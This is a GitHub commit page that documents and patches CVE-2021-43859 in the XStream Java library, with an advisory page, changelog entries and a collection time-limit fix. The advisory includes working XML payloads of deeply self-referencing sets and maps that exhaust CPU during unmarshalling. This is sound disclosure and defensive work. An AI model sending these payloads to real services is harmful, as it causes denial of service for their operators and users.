Skip to content

Commit

Permalink
Describe and fix CVE-2021-43859.
Browse files Browse the repository at this point in the history
  • Loading branch information
joehni committed Jan 29, 2022
1 parent 616e987 commit e8e8862
Show file tree
Hide file tree
Showing 14 changed files with 568 additions and 21 deletions.
199 changes: 199 additions & 0 deletions xstream-distribution/src/content/CVE-2021-43859.html
Original file line number Diff line number Diff line change
@@ -0,0 +1,199 @@
<html>
<!--
Copyright (C) 2021 XStream committers.
All rights reserved.
The software in this package is published under the terms of the BSD
style license a copy of which has been included with this distribution in
the LICENSE.txt file.
Created on 23. December 2021 by Joerg Schaible
-->
<head>
<title>CVE-2021-43859</title>
</head>
<body>

<h2 id="vulnerability">Vulnerability</h2>

<p>CVE-2021-43859: XStream can cause a Denial of Service by injecting highly recursive collections or maps.</p>

<h2 id="affected_versions">Affected Versions</h2>

<p>All versions until and including version 1.4.18 are affected.</p>

<h2 id="description">Description</h2>

<p>The processed stream at unmarshalling time contains type information to recreate the formerly written objects.
XStream creates therefore new instances based on these type information. An attacker can manipulate the processed
input stream and replace or inject objects, that result in exponential recursively hashcode calculation, causing a denial
of service.</p>

<h2 id="reproduction">Steps to Reproduce</h2>

<p>The attack uses the hashcode implementation of collection types in the Java runtime. Following types are affected with
lastest Java versions available in December 2021:</p>
<ul>
<li>java.util.HashMap</li>
<li>java.util.HashSet</li>
<li>java.util.Hashtable</li>
<li>java.util.LinkedHashMap</li>
<li>java.util.LinkedHashSet</li>
<li>java.util.Stack (older Java revisions only)</li>
<li>java.util.Vector (older Java revisions only)</li>
<li>Other third party collection implementations that use their element's hash code may also be affected</li>
</ul>
<p>Create a simple HashSet and use XStream to marshal it to XML. Replace the XML with following snippet, increase the
depth of the structure and unmarshal it with XStream:</p>
<div class="Source XML"><pre>&lt;set&gt;
&lt;set&gt;
&lt;string&gt;a&lt;/string&gt;
&lt;set&gt;
&lt;string&gt;a&lt;/string&gt;
&lt;set&gt;
&lt;string&gt;a&lt;/string&gt;
&lt;/set&gt;
&lt;set&gt;
&lt;string&gt;b&lt;/string&gt;
&lt;/set&gt;
&lt;/set&gt;
&lt;set&gt;
&lt;set reference=&quot;../../set/set&quot;/&gt;
&lt;string&gt;b&lt;/string&gt;
&lt;set reference=&quot;../../set/set[2]&quot;/&gt;
&lt;/set&gt;
&lt;/set&gt;
&lt;set&gt;
&lt;set reference=&quot;../../set/set&quot;/&gt;
&lt;string&gt;b&lt;/string&gt;
&lt;set reference=&quot;../../set/set[2]&quot;/&gt;
&lt;/set&gt;
&lt;/set&gt;
</pre></div>
<div class="Source Java"><pre>XStream xstream = new XStream();
xstream.fromXML(xml);
</pre></div>
<p>Create a simple HashMap and use XStream to marshal it to XML. Replace the XML with following snippet, increase the
depth of the structure and unmarshal it with XStream:</p>
<div class="Source XML"><pre>&lt;map&gt;
&lt;entry&gt;
&lt;map&gt;
&lt;entry&gt;
&lt;string&gt;a&lt;/string&gt;
&lt;string&gt;b&lt;/string&gt;
&lt;/entry&gt;
&lt;entry&gt;
&lt;map&gt;
&lt;entry&gt;
&lt;string&gt;a&lt;/string&gt;
&lt;string&gt;b&lt;/string&gt;
&lt;/entry&gt;
&lt;entry&gt;
&lt;map&gt;
&lt;entry&gt;
&lt;string&gt;a&lt;/string&gt;
&lt;string&gt;b&lt;/string&gt;
&lt;/entry&gt;
&lt;/map&gt;
&lt;map&gt;
&lt;entry&gt;
&lt;string&gt;c&lt;/string&gt;
&lt;string&gt;d&lt;/string&gt;
&lt;/entry&gt;
&lt;/map&gt;
&lt;/entry&gt;
&lt;entry&gt;
&lt;map reference=&quot;../../entry[2]/map[2]&quot;/&gt;
&lt;map reference=&quot;../../entry[2]/map&quot;/&gt;
&lt;/entry&gt;
&lt;/map&gt;
&lt;map&gt;
&lt;entry&gt;
&lt;string&gt;c&lt;/string&gt;
&lt;string&gt;d&lt;/string&gt;
&lt;/entry&gt;
&lt;entry&gt;
&lt;map reference=&quot;../../../entry[2]/map&quot;/&gt;
&lt;map reference=&quot;../../../entry[2]/map[2]&quot;/&gt;
&lt;/entry&gt;
&lt;entry&gt;
&lt;map reference=&quot;../../../entry[2]/map[2]&quot;/&gt;
&lt;map reference=&quot;../../../entry[2]/map&quot;/&gt;
&lt;/entry&gt;
&lt;/map&gt;
&lt;/entry&gt;
&lt;entry&gt;
&lt;map reference=&quot;../../entry[2]/map[2]&quot;/&gt;
&lt;map reference=&quot;../../entry[2]/map&quot;/&gt;
&lt;/entry&gt;
&lt;/map&gt;
&lt;map&gt;
&lt;entry&gt;
&lt;string&gt;c&lt;/string&gt;
&lt;string&gt;d&lt;/string&gt;
&lt;/entry&gt;
&lt;entry&gt;
&lt;map reference=&quot;../../../entry[2]/map&quot;/&gt;
&lt;map reference=&quot;../../../entry[2]/map[2]&quot;/&gt;
&lt;/entry&gt;
&lt;entry&gt;
&lt;map reference=&quot;../../../entry[2]/map[2]&quot;/&gt;
&lt;map reference=&quot;../../../entry[2]/map&quot;/&gt;
&lt;/entry&gt;
&lt;/map&gt;
&lt;/entry&gt;
&lt;entry&gt;
&lt;map reference=&quot;../../entry[2]/map[2]&quot;/&gt;
&lt;map reference=&quot;../../entry[2]/map&quot;/&gt;
&lt;/entry&gt;
&lt;/map&gt;
</pre></div>
<div class="Source Java"><pre>XStream xstream = new XStream();
xstream.fromXML(xml);
</pre></div>

<p>As soon as the XML is unmarshalled, the hash codes of the elements are calculated and the calculation time increases
exponentially due to the highly recursive structure.</p>

<p>Note, this example uses XML, but the attack can be performed for any supported format, that supports references, i.e.
JSON is not affected.</p>

<h2 id="impact">Impact</h2>

<p>The vulnerability may allow a remote attacker to allocate 100% CPU time on the target system depending on CPU
type or parallel execution of such a payload resulting in a denial of service only by manipulating the processed
input stream.</p>

<h2 id="workarounds">Workarounds</h2>

<p>If your object graph does not use referenced elements at all, you may simply set the NO_REFERENCE mode:</p>

<div class="Source Java"><pre>XStream xstream = new XStream();
xstream.setMode(XStream.NO_REFERENCES);
</pre></div>

<p>If your object graph contains neither a Hashtable, HashMap nor a HashSet (or one of the linked variants of it) then you
can use the security framework to deny the usage of these types:</p>

<div class="Source Java"><pre>XStream xstream = new XStream();
xstream.denyTypes(new Class[]{
java.util.HashMap.class, java.util.HashSet.class, java.util.Hashtable.class, java.util.LinkedHashMap.class, java.util.LinkedHashSet.class
});
</pre></div>

<p>Unfortunately these types are very common. If you only use HashMap or HashSet and your XML refers these only as default
map or set, you may additionally change the default implementation of java.util.Map and java.util.Set at unmarshalling time:</p>

<div class="Source Java"><pre>xstream.addDefaultImplementation(java.util.TreeMap.class, java.util.Map.class);
xstream.addDefaultImplementation(java.util.TreeSet.class, java.util.Set.class);
</pre></div>

<p>However, this implies that your application does not care about the implementation of the map and all elements are comparable.</p>

<h2 id="credits">Credits</h2>

<p>r00t4dm at Cloud-Penetrating Arrow Lab found and reported the issue to XStream and provided the required information to
reproduce it.</p>

</body>
</html>
14 changes: 14 additions & 0 deletions xstream-distribution/src/content/changes.html
Original file line number Diff line number Diff line change
Expand Up @@ -39,6 +39,20 @@ <h1 id="upcoming-1.4.x">Upcoming 1.4.x maintenance release</h1>

<p>Not yet released.</p>

<p class="highlight">This maintenance release addresses the security vulnerability
<a href="CVE-2021-43859.html">CVE-2021-43859</a>, when unmarshalling highly recursive collections or maps causing a
Denial of Service.</p>

<h2>API changes</h2>

<ul>
<li>Added c.t.x.XStream.COLLECTION_UPDATE_LIMIT and c.t.x.XStream.COLLECTION_UPDATE_SECONDS.</li>
<li>Added c.t.x.XStream.setCollectionUpdateLimit(int).</li>
<li>Added c.t.x.core.SecurityUtils.</li>
<li>Added c.t.x.security.AbstractSecurityException and c.t.x.security.InputManipulationException.</li>
<li>c.t.x.security.InputManipulationException derives now from c.t.x.security.AbstractSecurityException.</li>
</ul>

<h1 id="1.4.18">1.4.18</h1>

<p>Released August 22, 2021.</p>
Expand Down
40 changes: 34 additions & 6 deletions xstream-distribution/src/content/security.html
Original file line number Diff line number Diff line change
Expand Up @@ -30,13 +30,13 @@
context of the server running the XStream process or cause a denial of service by crashing the application or
manage to enter an endless loop consuming 100% of CPU cycles.</p>

<p class=highlight>Note: XStream supports other data formats than XML, e.g. JSON. Those formats can be used for
the same attacks.</p>
<p class=highlight>Note: XStream supports other data formats than XML, e.g. JSON. Those formats can usually be used
for the same attacks.</p>

<p>Note, that the XML data can be manipulated on different levels. For example, manipulating values on existing
objects (such as a price value), accessing private data, or breaking the format and causing the XML parser to fail.
The latter case will raise an exception, but the former case must be handled by validity checks in any application
which processes user-supplied XML.</p>
<p>The XML data can be manipulated on different levels. For example, manipulating values on existing objects (such
as a price value), accessing private data, or breaking the format and causing the XML parser to fail. The latter
case will raise an exception, but the former case must be handled by validity checks in any application which
processes user-supplied XML.</p>

<h2 id="CVEs">Documented Vulnerabilities</h2>

Expand All @@ -49,6 +49,14 @@ <h2 id="CVEs">Documented Vulnerabilities</h2>
<th>CVE</th>
<th>Description</th>
</tr>
<tr>
<th>Version 1.4.18</th>
<td></td>
</tr>
<tr>
<th><a href="CVE-2021-43859.html">CVE-2021-43859</a></th>
<td>XStream can cause a Denial of Service by injecting highly recursive collections or maps.</td>
</tr>
<tr>
<th>Version 1.4.17</th>
<td></td>
Expand Down Expand Up @@ -258,6 +266,16 @@ <h2 id="implicit">Implicit Security</h2>
because no-one can assure, that no other vulnerability is found. A better approach is the usage of a whitelist
i.e. the allowed class types are setup explicitly. This is the default for XStream 1.4.18 (see below).</p>

<p>XStream supports references to objects already occuring on the object graph in an earlier location. This allows
an attacker to create a highly recursive object structure. Some collections or maps calculate the position of a
member based on the data of the member itself. This is true for sorting collections or maps, but also for
collections or maps based on the hash code of the individual members. The calculation time for the member's
position can increase exponentially depending on the recursive depth of the structure and cause therefore a Denial
of Service. Therefore XStream measures the time consumed to add an element to a collection or map since version
1.4.19. Normally this operation is performed in a view milliseconds, but if adding elements take longer than a
second, then the time is accumulated and an exception is thrown if it exceeds a definable limit (20 seconds by
default).</p>

<h2 id="explicit">Explicit Security</h2>

<p>Starting with XStream 1.4.7, it is possible to define <a href="#framework">permissions</a> for types, to check
Expand Down Expand Up @@ -285,6 +303,16 @@ <h2 id="explicit">Explicit Security</h2>
<p class=highlight>Apart from value manipulations, this implementation still allows the injection of allowed
objects at wrong locations, e.g. inserting an integer into a list of strings.</p>

<p>To avoid an attack based on the position of an element in a collection or map, you should also use XStream's
default converters for 3rd party or own implementations of collections or maps. Own custom converters of such
types should measure the time to add an element at deserialization time using the following sequence in the
implementation of the unmarshal method:<div class="Source Java">
<pre>// unmarshal element of collection
long now = System.currentTimeMillis();
// add element here, e.g. list.add(element);
SecurityUtils.checkForCollectionDoSAttack(context, now);
</pre></div></p>

<h2 id="validation">XML Validation</h2>

<p>XML itself supports input validation using a schema and a validating parser. With XStream, you can use e.g. a
Expand Down
1 change: 1 addition & 0 deletions xstream-distribution/src/content/website.xml
Original file line number Diff line number Diff line change
Expand Up @@ -89,6 +89,7 @@
<page>CVE-2021-39152.html</page>
<page>CVE-2021-39153.html</page>
<page>CVE-2021-39154.html</page>
<page>CVE-2021-43859.html</page>
<page>CVE-2020-26217.html</page>
<page>CVE-2020-26258.html</page>
<page>CVE-2020-26259.html</page>
Expand Down
42 changes: 40 additions & 2 deletions xstream/src/java/com/thoughtworks/xstream/XStream.java
Original file line number Diff line number Diff line change
Expand Up @@ -151,6 +151,7 @@
import com.thoughtworks.xstream.mapper.XStream11XmlFriendlyMapper;
import com.thoughtworks.xstream.security.AnyTypePermission;
import com.thoughtworks.xstream.security.ArrayTypePermission;
import com.thoughtworks.xstream.security.InputManipulationException;
import com.thoughtworks.xstream.security.ExplicitTypePermission;
import com.thoughtworks.xstream.security.InterfaceTypePermission;
import com.thoughtworks.xstream.security.NoPermission;
Expand Down Expand Up @@ -295,6 +296,8 @@ public class XStream {

// CAUTION: The sequence of the fields is intentional for an optimal XML output of a
// self-serialization!
private int collectionUpdateLimit = 20;

private ReflectionProvider reflectionProvider;
private HierarchicalStreamDriver hierarchicalStreamDriver;
private ClassLoaderReference classLoaderReference;
Expand Down Expand Up @@ -329,6 +332,9 @@ public class XStream {
public static final int PRIORITY_LOW = -10;
public static final int PRIORITY_VERY_LOW = -20;

public static final String COLLECTION_UPDATE_LIMIT = "XStreamCollectionUpdateLimit";
public static final String COLLECTION_UPDATE_SECONDS = "XStreamCollectionUpdateSeconds";

private static final String ANNOTATION_MAPPER_TYPE = "com.thoughtworks.xstream.mapper.AnnotationMapper";
private static final Pattern IGNORE_ALL = Pattern.compile(".*");

Expand Down Expand Up @@ -1182,6 +1188,23 @@ public void setMarshallingStrategy(MarshallingStrategy marshallingStrategy) {
this.marshallingStrategy = marshallingStrategy;
}

/**
* Set time limit for adding elements to collections or maps.
*
* Manipulated content may be used to create recursive hash code calculations or sort operations. An
* {@link InputManipulationException} is thrown, it the summed up time to add elements to collections or maps
* exceeds the provided limit.
*
* Note, that the time to add an individual element is calculated in seconds, not milliseconds. However, attacks
* typically use objects with exponential growing calculation times.
*
* @param maxSeconds limit in seconds or 0 to disable check
* @since upcoming
*/
public void setCollectionUpdateLimit(int maxSeconds) {
collectionUpdateLimit = maxSeconds;
}

/**
* Serialize an object to a pretty-printed XML String.
*
Expand Down Expand Up @@ -1388,6 +1411,13 @@ public Object unmarshal(HierarchicalStreamReader reader, Object root) {
*/
public Object unmarshal(HierarchicalStreamReader reader, Object root, DataHolder dataHolder) {
try {
if (collectionUpdateLimit >= 0) {
if (dataHolder == null) {
dataHolder = new MapBackedDataHolder();
}
dataHolder.put(COLLECTION_UPDATE_LIMIT, new Integer(collectionUpdateLimit));
dataHolder.put(COLLECTION_UPDATE_SECONDS, new Integer(0));
}
return marshallingStrategy.unmarshal(root, reader, dataHolder, converterLookup, mapper);
} catch (ConversionException e) {
Package pkg = getClass().getPackage();
Expand Down Expand Up @@ -2053,15 +2083,23 @@ public ObjectInputStream createObjectInputStream(final HierarchicalStreamReader
* @see #createObjectInputStream(com.thoughtworks.xstream.io.HierarchicalStreamReader)
* @since 1.4.10
*/
public ObjectInputStream createObjectInputStream(final HierarchicalStreamReader reader, final DataHolder dataHolder)
public ObjectInputStream createObjectInputStream(final HierarchicalStreamReader reader, DataHolder dataHolder)
throws IOException {
if (collectionUpdateLimit >= 0) {
if (dataHolder == null) {
dataHolder = new MapBackedDataHolder();
}
dataHolder.put(COLLECTION_UPDATE_LIMIT, new Integer(collectionUpdateLimit));
dataHolder.put(COLLECTION_UPDATE_SECONDS, new Integer(0));
}
final DataHolder dh = dataHolder;
return new CustomObjectInputStream(new CustomObjectInputStream.StreamCallback() {
public Object readFromStream() throws EOFException {
if (!reader.hasMoreChildren()) {
throw new EOFException();
}
reader.moveDown();
final Object result = unmarshal(reader, null, dataHolder);
final Object result = unmarshal(reader, null, dh);
reader.moveUp();
return result;
}
Expand Down
Loading

0 comments on commit e8e8862

Please sign in to comment.